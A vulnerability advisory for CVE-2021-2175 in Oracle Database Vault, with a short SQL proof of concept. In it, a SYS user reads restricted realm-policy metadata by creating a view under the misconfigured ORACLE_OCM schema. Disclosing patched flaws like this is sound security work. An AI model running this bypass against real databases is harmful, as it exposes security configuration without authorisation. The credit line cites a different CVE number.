Oracle Database Vault Metadata Exposure

`  
Title: CVE-2021-2175 – Oracle Database Vault Metadata Exposure Vulnerability  
Product: Database  
Manufacturer: Oracle  
Affected Version(s): 12.1.0.2, 12.2.0.1, 18c, 19c  
Tested Version(s): 19c  
Risk Level: low  
Solution Status: Fixed  
CVE Reference: CVE-2021-2175  
Author of Advisory: Emad Al-Mousa  
  
Overview:  
  
Oracle database vault is a security feature that imposes segregation of duties such as account managemenet, authorization,....etc. So, in a nutshell a DBA/System Admin with access to "SYS" user has limited power in terms of data viewership, account creation,.....etc. The powers of SYS account are stripped down.  
  
  
*****************************************  
Vulnerability Details:  
  
Vulnerability in the Database Vault component of Oracle Database Server. Supported versions that are affected are 12.1.0.2, 12.2.0.1, 18c and 19c. Easily exploitable vulnerability allows high privileged attacker having Create Any View, Select Any View privilege with network access via Oracle Net to compromise Database Vault. Successful attacks of this vulnerability can result in unauthorized read access to a subset of Database Vault accessible data [Meta-data].  
  
*****************************************  
Proof of Concept (PoC):  
  
The DBA_DV_REALM data dictionary view lists the realms (security policies configured for data protection) created in the current database instance, such information SYS user by default has NO ACCESS to since it exposes what security measures of data protection is configured.  
  
Access the database as SYS account:  
  
sqlplus / as sysdba  
  
SQL> SELECT * FROM DBA_DV_REALM;  
  
ERROR at line 1:  
  
ORA-01031: insufficient privileges  
  
// as expected SYS account can't view the database view contents.....However...let us do the following:  
  
SQL> create view ORACLE_OCM.DUMMY_V as select * from DBA_DV_REALM;  
  
SQL> select * from ORACLE_OCM.DUMMY_V;  
  
// ORACLE_OCM account is misconfigured and was granted extra access to the view so when you create the view under it....you will be access the view content....and now you can see/view the vault realm policies are configured to protect what exactly within the database system.  
  
*****************************************  
References:  
https://www.oracle.com/security-alerts/cpuapr2021.html  
https://databasesecurityninja.wordpress.com/2022/02/02/cve-2021-2175-database-vault-metadata-exposure-vulnerability/  
https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-2175  
  
  
Credit:  
Emad Al-Mousa: CVE-2021-35576  
  
`